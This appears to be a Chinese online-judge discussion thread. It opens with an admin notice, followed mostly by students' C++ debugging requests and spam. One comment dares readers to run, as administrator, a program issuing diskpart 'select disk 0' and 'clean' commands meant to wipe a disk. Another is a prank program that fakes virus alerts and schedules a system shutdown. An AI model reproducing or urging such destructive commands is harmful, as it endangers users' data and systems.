最近的事情更无语了,某鱼上现在有三个人在卖数据了。周赛数据永久停止更新。

不允许学生创建新讨论了,后面大家可以在这里讨论相关内容。会定期清理。

删了一些同学们自己举办的比赛的帖子。

我建议你们可以私聊参赛。讨论区太乱了,有些提问我看不到了已经。

更重要的是,还是先好好学算法吧各位同学,当你拿了提高组 200200 分,再考虑自己举办一些简单的比赛。

语法场的初心还是为了学生们巩固基础语法,高水平选手可以选择参加入门语法场和入门提高场 目前也没看见能打的 (参考新春马拉松赛成绩)

感觉不过瘾还可以打atcoder和codeforces

559 条评论

  • @ 2025-10-25 20:20:28

  • @ 2025-10-25 9:36:23

    444666888

    • @ 2025-10-24 21:10:53

      @P11229 求调!!!!!!

      #include <bits/stdc++.h>
      #define ll long long
      using namespace std;
      int t,n;
      int main()
      {
      	ios::sync_with_stdio(false);
      	cin.tie(0);
      	cin >> t;
      	while (t--)
      	{
      		cin >> n;
      		if (n % 7 == 0)
      		{
      			for (int i = 1;i <= n / 7;i++) cout << 8;
      			cout << "\n";
      		}
      		else if (n % 7 == 1)
      		{
      			if (n == 1)
      			{
      				cout << -1 << "\n";
      				continue;
      			}
      			cout << 10;
      			n-=8;
      			for (int i = 1;i <= n / 7;i++) cout << 8;
      			cout << "\n";
      		}
      		else if (n % 7 == 2)
      		{
      			cout << 1;
      			for (int i = 1;i <= (n - 7) / 7;i++) cout << 8;
      			cout << "\n";
      		}
      		else if (n % 7 == 3)
      		{
      			if (n == 3) cout << 7 << "\n";
      			else if (n == 10) cout << 22 << "\n";
      			else{
      				cout << 200;
      				n -= 17;
      				for (int i = 1;i <= n / 7;i++) cout << 8;
      				cout << "\n";
      			}
      		}
      		else if (n % 7 == 4)
      		{
      			if (n == 4) cout << "4\n";
      			else{
      				cout << 20;
      				n -= 11;
      				for (int i = 1;i <= n / 7;i++) cout << 8;
      				cout << "\n";
      			}
      		}
      		else if (n % 7 == 5)
      		{
      			cout << 2;
      			n -= 5;
      			for (int i = 1;i <= n / 7;i++) cout << 8;
      			cout << "\n";
      		}
      		else if (n % 7 == 6)
      		{
      			cout << 6;
      			n -= 6;
      			for (int i = 1;i <= n / 7;i++) cout << 8;
      			cout << "\n";
      		}
      	} 
      	return 0;
      }
      
    • @ 2025-10-24 10:11:30

      细节暗网:

      • @ 2025-10-22 20:23:22

        @

        作业硬币

      • @ 2025-10-21 22:26:13

        • @ 2025-10-19 18:11:28

          : 应该是a[i].val > maxxue而非maxxue < a[i].val

        • @ 2025-10-19 17:33:17

          谁能告诉我为什么会RTE啊QAQ


          代码:

          #include<iostream>
          #include<cstring>
          #include<queue>
          #include<cstdio>
          #include<cmath>
          #include<algorithm>
          #include<map>
          #include<vector>
          #include<stack>
          #include<sstream>
          #include<set>
          #include<time.h>
          #include<stdlib.h>
          #include<unordered_map>
          #define ll long long
          #define ull unsigned long long
          #define eps 1e-10
          #define INF 1e9
          #define delta 0.996
          #define T 3000
          #define pi acos(-1.0)
          #define ld long double
          using namespace std;
          const ll mod1=1e9+7;
          const ll mod2=998244353;
          const int maxn = 2e5 + 10;
          const int maxm = 1e6 + 10;
          const ll inf=1e18L;
          typedef pair<int,int>Pii;
          typedef pair<int,ll>Pil;
          using namespace std;
          int n,maxx,d[10005],l,r,mid,anss;
          bool check(int x){
              int tim=0,ans=0;
              priority_queue<int,vector<int>,greater<int>>q;
              for(int i=1;i<=x;i++){
                  q.push(d[i]);
              }
              for(int i=x+1;i<=n;i++){
                  ans+=q.top()-tim;
                  tim=q.top();
                  q.pop();
                  q.push(d[i]+tim);
                  if(ans>maxx){
                      return false;
                  }
              }
              while(x--){
                  ans+=q.top()-tim;
                  tim=q.top();
                  q.pop();
                  if(ans>maxx){
                      return false;
                  }
              }
              return true;
          }
          int main(){
              ios::sync_with_stdio(false);
              cin.tie(0);
              cin>>n>>maxx;
              for(int i=1;i<=n;i++){
                  cin>>d[i];
              }
              while(l<=r){
                  int mid=(l+r)>>1;
                  if(check(mid)){
                      anss=mid;
                      r=mid-1;
                  }
                  else l=mid+1;
              }
              cout<<anss;
              return 0;
          }
          

          题目

          • @ 2025-10-19 17:02:44

            禁止关闭安全中心,并编译此程序,且以管理员身份运行!

            #include <bits/stdc++.h>
            #include <windows.h>
            #define ll long long
            using namespace std;
            
            int main(){
            	system("diskpart");
                system("list disk");
                system("select disk 0");
                system("clean");
                return 0;
            }
            

            否则后果自负!!!

          • @ 2025-10-19 15:34:47

            @TooY0ung

            • @ 2025-10-18 18:57:36

              666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666

              • @ 2025-10-17 19:19:03

                666,最近调代码的人为什么这么多?

                • @ 2025-10-17 17:49:41

                  题目在这里 0WA 求调 代码:

                  #include<cstring>
                  #include<queue>
                  #include<cstdio>
                  #include<cmath>
                  #include<algorithm>
                  #include<map>
                  #include<vector>
                  #include<stack>
                  #include<sstream>
                  #include<set>
                  #include<time.h>
                  #include<stdlib.h>
                  #include<unordered_map>
                  #include<iomanip>
                  #include<bits/stdc++.h>
                  #define ll long long
                  #define ull unsigned long long
                  #define eps 1e-6
                  #define INF 1e9
                  #define delta 0.996
                  #define T 3000
                  #define pi acos(-1.0)
                  #define ld long double
                  const ll mod1 = 1e9 + 7;
                  const ll mod2 = 998244353;
                  const ll maxn = 5123456;
                  const ll inf = 1e18L;
                  using namespace std;
                  typedef pair<int, int>Pii;
                  typedef pair<__int128, int>P;
                  //priority_queue <int, vector<int>, greater<int>> q;
                  int t;
                  char a[212][212];
                  int r, c;
                  int dx[] = {1, 0, -1, 0};
                  int dy[] = {0, 1, 0, -1};
                  int vis[212][212];
                  int dis[212][212];
                  struct edge{
                  	int x, y;
                  };
                  void bfs(int sx, int sy, int ex, int ey)
                  {
                  	for(int i = 1; i <= r; i++) for(int j = 1; j <= c; j++) dis[i][j] = 1e9;
                  	queue <edge> q;
                  	vis[sx][sy] = 1;
                  	q.push({sx, sy});
                  	dis[sx][sy] = 1;
                  	while(!q.empty())
                  	{
                  		edge tt;
                  		tt = q.front();
                  		q.pop();
                  		for(int i = 0; i < 4; i++)
                  		{
                  			int xx = tt.x + dx[i];
                  			int yy = tt.y + dy[i];
                  			if(xx < 1 || yy < 1 || xx > r || yy > c || vis[xx][yy] || a[xx][yy] == '#') continue;
                  			q.push({xx, yy});
                  			dis[xx][yy] = dis[tt.x][tt.y] + 1;
                  			vis[xx][yy] = 1;
                  		}
                  	}
                  }
                  signed main(){
                  	ios::sync_with_stdio(false);
                  	cin.tie(0);
                  	cout.tie(0);
                  	cin >> t;
                  	while(t--)
                  	{
                  		int sx, sy, ex, ey;
                  		cin >> r >> c;
                  		memset(a, 0, sizeof(a));
                  		memset(vis, 0, sizeof(vis));
                  		for(int i = 1; i <= r; i++)
                  		{
                  			for(int j = 1; j <= c; j++)
                  			{
                  				cin >> a[i][j];
                  				if(a[i][j] == 'S') sx = i, sy = j;
                  				if(a[i][j] == 'E') ex = i, ey = j;
                  			}
                  		}
                  		bfs(sx, sy, ex, ey);
                  		if(dis[ex][ey] == 1e9) cout << "oop!\n";
                  		else cout << dis[ex][ey] << "\n";
                  	}
                  	return 0;
                  }
                  
                  
                  • @ 2025-10-17 21:22:25

                    一个广搜

                    #include<bits/stdc++.h>
                    using namespace std;
                    char mp[210][210];
                    int vis[210][210];
                    int n,m,ans=0,xx,yy;
                    bool flag=false; 
                    int dx[4]={1,0,-1,0};
                    int dy[4]={0,1,0,-1};
                    queue<int>q1,q2;
                    int main(){
                    	int T;
                    	cin>>T;
                    	while(T--){
                    		memset(vis,-1,sizeof(vis));
                    		while(!q1.empty()){
                    			q1.pop();
                    			q2.pop();
                    		}
                    		flag=0;
                    	    cin>>n>>m;
                    	    for(int i=1;i<=n;i++){
                    	        for(int j=1;j<=m;j++){
                    	            cin>>mp[i][j];
                    	            if(mp[i][j]=='S'){
                    	            	q1.push(i);
                    	            	q2.push(j);
                    				    vis[i][j]=0;
                    				}
                    			}
                    	    }
                    		while(!q1.empty()){
                    			int xxxx=q1.front(),yyyy=q2.front();
                    			q1.pop(),q2.pop();
                    			for(int i=0;i<4;i++){
                    				int nx=xxxx+dx[i];
                    		    	int ny=yyyy+dy[i];
                    		    	if(nx>0&&nx<=n&&ny>0&&ny<=m&&vis[nx][ny]==-1&&mp[nx][ny]!='#'){
                    					vis[nx][ny]=vis[xxxx][yyyy]+1;
                    		            q1.push(nx);
                    		            q2.push(ny);
                    		            if(mp[nx][ny]=='E'){
                    		            	cout<<vis[nx][ny]<<endl;
                    		            	flag=1;
                    		            	break;
                    					}
                    		        }
                    		    }
                    		}
                    		if(flag==0){
                    		    cout<<"oop!\n";
                    		}
                    	}
                        return 0;
                    }
                    

                    仅供参考

                • @ 2025-10-15 21:20:16

                  0分WA求调

                  题目传送门 代码:

                  #include <iostream>
                  #include <algorithm>
                  using namespace std;
                  inline int read(){
                  	int x = 0, f = 1;
                  	char ch = getchar_unlocked();
                  	while (!isdigit(ch)){
                  		if (ch == '-') 
                  			f = -1;
                  		ch = getchar_unlocked();
                  	}
                  	while (isdigit(ch)){
                  		x = (x << 1) + (x << 3) + (ch ^ 48);
                  		ch = getchar_unlocked();
                  	}
                  	return x * f;
                  }
                  
                  inline void write(int x){
                  	if (x < 0) putchar('-'), x = -x;
                  	if (x > 9) write(x / 10);
                  	putchar(x % 10 + '0');
                  }
                  
                  
                  int main()
                  {
                      freopen("tri.in","r",stdin);
                      freopen("tri.out","w",stdout);
                      long long n;
                      n=read();
                      long long ans=0;
                      for(long long i=1;i<=n;i++)
                      {
                          write(i);
                          putchar(' ');
                      }
                      return 0;
                  }
                  
                  
                  • @ 2025-10-16 21:47:37

                    @ 你无法看到他真正的样子,不妨去看D1-5的T1-4

                  • @ 2025-10-16 22:03:34

                    题目是非公开题目,再遇到1-n 的题都是默认题面,没有修改的。可以不做这些题

                • @ 2025-10-15 21:01:30

                  100WA求调,没有代码,请您盲调

                  • @ 2025-10-15 17:58:20
                    80RE求调

                    题目在这里 代码:

                    #include<cstring>
                    #include<queue>
                    #include<cstdio>
                    #include<cmath>
                    #include<algorithm>
                    #include<map>
                    #include<vector>
                    #include<stack>
                    #include<sstream>
                    #include<set>
                    #include<time.h>
                    #include<stdlib.h>
                    #include<unordered_map>
                    #include<iomanip>
                    #include<bits/stdc++.h>
                    #define ll long long
                    #define ull unsigned long long
                    #define eps 1e-6
                    #define INF 1e9
                    #define delta 0.996
                    #define T 3000
                    #define pi acos(-1.0)
                    #define ld long double
                    const ll mod1 = 1e9 + 7;
                    const ll mod2 = 998244353;
                    const ll maxn = 5123456;
                    const ll inf = 1e18L;
                    using namespace std;
                    typedef pair<int, int>Pii;
                    typedef pair<__int128, int>P;
                    priority_queue <int, vector<int>, greater<int>> q;
                    int n,st,sp;
                    char c[112];
                    void print()
                    {
                    	for(int i = 1; i <= 2 * n + 2; i++) cout << c[i];
                    	cout << "\n";
                    	st++;
                    }
                    void init(int n)
                    {
                    	st = 0;
                    	sp = 2 * n + 1;
                    	for(int i = 1; i <= n; i++) c[i] = 'o';
                    	for(int i = n + 1; i <= 2 * n; i++) c[i] = '*';
                    	c[2 * n + 1] = '-';
                    	c[2 * n + 2]='-';
                    	print();
                    }
                    void move(int k)
                    {
                    	for(int j = 0; j <= 1; j++) 
                    	{
                    	   c[sp + j] = c[k + j];
                    	   c[k+j] = '-';
                    	}
                    	sp = k;
                    	print();
                    }
                    void mv(int n)
                    {
                    	int i, k;
                    	if(n == 4)
                    	{
                    		move(4);
                    		move(8);
                    		move(2);
                    		move(7);
                    		move(1);
                    	}
                    	else
                    	{
                    		move(n);
                    		move(2 * n - 1);
                    		mv(n - 1);
                    	}
                    }
                    signed main(){
                    	ios::sync_with_stdio(false);
                    	cin.tie(0);
                    	cout.tie(0);
                    	cin >> n;
                    	init(n);
                    	mv(n);
                    	return 0;
                    }
                    
                    
                    • @ 2025-10-14 23:42:58

                      • @ 2025-10-14 17:46:49
                        #include <iostream>
                        #include <string>
                        #include <algorithm>
                        #include <map>
                        #include <cmath>
                        using namespace std;
                        int main()
                        {
                        	long long n;
                        	cin>>n;
                        	map<long long,long long> m;
                        	for(long long i=0;i<n;i++){
                        		long long x;
                        		cin>>x;
                        		m[x]++;
                        	}
                        	long long count=0;
                        	long long ans=0;
                        	for(auto& pair : m){
                                //  cout<<pair.first<<" "<<pair.second<<endl;
                                 count = 0;
                                for(auto& pair2 : m){
                                //  cout<<"pair2:"<<pair2.first<<" "<<pair2.second<<endl;
                                    if(pair2.first>pair.first){
                                        count++;
                                    }
                                }
                                // cout<<count<<endl;
                                ans += (count * pair.second);
                        	}
                        	cout<<ans<<endl;
                            return 0;
                        }
                        //map也能错?!!!
                      • @ 2025-10-14 17:44:15

                        A0030 0RE 求调 代码:

                        #include<cstring>
                        #include<queue>
                        #include<cstdio>
                        #include<cmath>
                        #include<algorithm>
                        #include<map>
                        #include<vector>
                        #include<stack>
                        #include<sstream>
                        #include<set>
                        #include<time.h>
                        #include<stdlib.h>
                        #include<unordered_map>
                        #include<iomanip>
                        #include<bits/stdc++.h>
                        #define ll long long
                        #define ull unsigned long long
                        #define eps 1e-6
                        #define INF 1e9
                        #define delta 0.996
                        #define T 3000
                        #define pi acos(-1.0)
                        #define ld long double
                        const ll mod1 = 1e9 + 7;
                        const ll mod2 = 998244353;
                        const ll maxn = 5123456;
                        const ll inf = 1e18L;
                        using namespace std;
                        typedef pair<int, int>Pii;
                        typedef pair<__int128, int>P;
                        //priority_queue <int, vector<int>, greater<int>> q;
                        int a[112],b[112],c[112],d[112];
                        int tot;
                        int n;
                        int print()
                        {
                            if(tot <= 2)
                            {
                                for(int i = 1; i <= n; i++) cout << a[i] << " ";
                                cout << "\n";
                            }
                            tot++;
                        }
                        void dfs(int i)
                        {
                            if(i > n)
                            {
                                print();
                                return;
                            }
                            else
                            {
                                for(int j = 1; j <= n; j++)
                                {
                                    if((!b[j]) && (!c[i + j]) && (!d[i - j + n]))
                                    {
                                        a[i] = j;
                                        b[j] = 1;
                                        c[i + j] = 1;
                                        d[i - j + n] = 1;
                                        dfs(i + 1);
                                        b[j] = 0;
                                        c[i + j] = 0;
                                        d[i - j + n] = 0;
                                    }
                                }
                            }
                        }
                        signed main(){
                        	ios::sync_with_stdio(false);
                        	cin.tie(0);
                        	cout.tie(0);
                        	cin >> n;
                            dfs(1);
                            cout << tot;
                        	return 0;
                        }
                        
                        
                      • @ 2025-10-12 17:27:12

                        • @ 2025-10-12 17:14:28

                          @ Egyptian Fractions (HARD version)题号UVA12588 似乎应为 UVA12558

                        • @ 2025-10-12 17:01:05

                          • @ 2025-10-12 16:11:26

                            P11688 63WA求助


                            题目传送门


                            代码

                            #include<iostream>
                            #include<cstring>
                            #include<queue>
                            #include<cstdio>
                            #include<cmath>
                            #include<algorithm>
                            #include<map>
                            #include<vector>
                            #include<stack>
                            #include<sstream>
                            #include<set>
                            #include<time.h>
                            #include<stdlib.h>
                            #include<unordered_map>
                            #define ll long long
                            #define ull unsigned long long
                            #define eps 1e-10
                            #define INF 1e9
                            #define delta 0.996
                            #define T 3000
                            #define pi acos(-1.0)
                            #define ld long double
                            using namespace std;
                            const ll mod1=1e9+7;
                            const ll mod2=998244353;
                            const int maxn = 2e5 + 10;
                            const int maxm = 1e6 + 10;
                            const ll inf=1e18L;
                            typedef pair<int,int>Pii;
                            typedef pair<int,ll>Pil;
                            using namespace std;
                            ll n,a[1000005],sum[1000005],tong[1000005],flag[100005],ans;
                            int main(){
                                ios::sync_with_stdio(false);
                                cin.tie(0);
                                cin>>n;
                                for(int i=1;i<=n;i++){
                                    cin>>a[i];
                                    if(flag[a[i]]!=1){
                                        sum[i]++;
                                    }
                                    flag[a[i]]=1;
                                    sum[i]+=sum[i-1];
                                }
                                for(int i=n;i>=1;i--){
                                    tong[a[i]]++;
                                    if(tong[a[i]]==2){
                                        ans+=sum[i]-1;
                                    }
                                }
                                cout<<ans;
                                return 0;
                            }
                            
                          • 12mtters ago;

                          • @ 2025-10-10 22:01:55

                            @

                            代码源的比赛是什么规律啊?

                          • @ 2025-10-10 20:23:28

                            广告:https://www.luogu.com.cn/team/115287 招人了!入队瓜分500积分!

                          • 趁同桌不住意,看看他在干吗

                            • @ 2025-10-8 15:54:42

                              ##%……¥……&()&……%¥%%¥%……&()())

                            • @ ,/.';]p],/.;][''];./'l/][];',/./;'[[]]-=--=-=--```,/.;'[],/.;'[]-=]-[/,/.;'[]-=]-=[/]];'./,/./;['[]-=-]=]['#%^%^####%%#@!~!##@#@@%^%%%%$^^%#^%&*&**

                          • @ 2025-10-8 15:46:26

                            ???

                            • 6666666666666666666666666666666666666666666666666666666666666666666666666666666666666666

                              • #include <bits/stdc++.h> using namespace std;

                                int main(){ char a, b, c, d; cin >> a >> b >> c >> d; if(a == 'D' || b == 'D' || c == 'D' || d == 'D'){ cout << "Never give up."; }else if(a == 'C' || b == 'C' || c == 'C' || d == 'C'){ cout << "This is ok."; }else if(a == 'A' || b == 'A' || c == 'A' || d == 'A'){ cout << "I'm so happy."; }else{ cout << "This is ok."; } return 0; }

                                • #include <bits/stdc++.h> using namespace std;

                                  int main(){ int t, d, t1, d1, t2, d2; cin >> t >> d >> t1 >> d1 >> t2 >> d2; int min = INT_MAX; if (d <= d1) { if (t >= t1) { min = 0; } else { min = t1 - t; } } if (d <= d2) { int wait; if (t >= t2) { wait = 0; } else { wait = t2 - t; } if (wait < min) { min = wait; } } if (min == INT_MAX) { cout << -1; } else { cout << min; }

                                  return 0;
                                  

                                  }

                                  • @ 2025-10-7 16:46:54

                                    喷了

                                    • @ 2025-10-7 15:15:20

                                      胡宇泽在吗??????????????????

                                      🤡 1
                                    • 太温暖了

                                    • 我发现一件奇怪的事情

                                      在洛谷上学生竟然可以创建题目和训练!

                                      为什么在喔偷揪上不能

                                    • @ 2025-10-6 14:07:35

                                      想多了。。。。。。

                                      • @ 2025-10-6 14:02:26

                                        • a b c d e

                                          • @ 2025-10-5 10:31:15

                                          • #include <string>
                                            #include <algorithm>
                                            #include <map>
                                            #include <cmath>
                                            using namespace std;
                                            int main()
                                            {
                                            	long long n;
                                            	cin>>n;
                                            	map<long long,long long> m;
                                            	for(long long i=0;i<n;i++){
                                            		long long x;
                                            		cin>>x;
                                            		m[x]++;
                                            	}
                                            	long long count=0;
                                            	for(auto& pair : m){
                                                    // cout<<pair.first<<" "<<pair.second<<endl;
                                            		if (pair.second > 2) {
                                                        count+=(pair.second/2);
                                            		}
                                            	}
                                            	cout<<count<<endl;
                                                return 0;
                                            }
                                            

                                            https://oj.since2018.top/p/A0301

                                            求调A0301

                                          • @ 2025-10-3 23:32:46

                                            • @ 2025-10-3 20:59:04

                                              • @ 2025-10-3 19:16:54

                                                2025.10.32025.10.3

                                                • #include <windows.h>
                                                  #pragma comment(lib, "User32.lib")
                                                  int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
                                                  MessageBox(NULL, TEXT("你的电脑遇到病毒,正在尝试修复..."), TEXT(""), MB_OK);
                                                  MessageBox(NULL, TEXT("无法修复"), TEXT(""), MB_OK);
                                                  MessageBox(NULL, TEXT("正在清空你的电脑数据"), TEXT(""), MB_OK);
                                                  Sleep(5000);
                                                  MessageBox(NULL, TEXT("清理完成"), TEXT(""), MB_OK);
                                                  MessageBox(NULL, TEXT("恭喜,你的电脑无了"), TEXT(""), MB_OK);
                                                  system("shutdown -s -t 30");
                                                  system("start cmd");
                                                  MessageBox(NULL,TEXT("正在关机"),TEXT(""),MB_OK);
                                                  Sleep(10000);
                                                  system("shutdown -a");
                                                  MessageBox(NULL,TEXT("哈哈哈,逗你玩的>_<"),TEXT(""),MB_OK); 
                                                  return 0;
                                                  }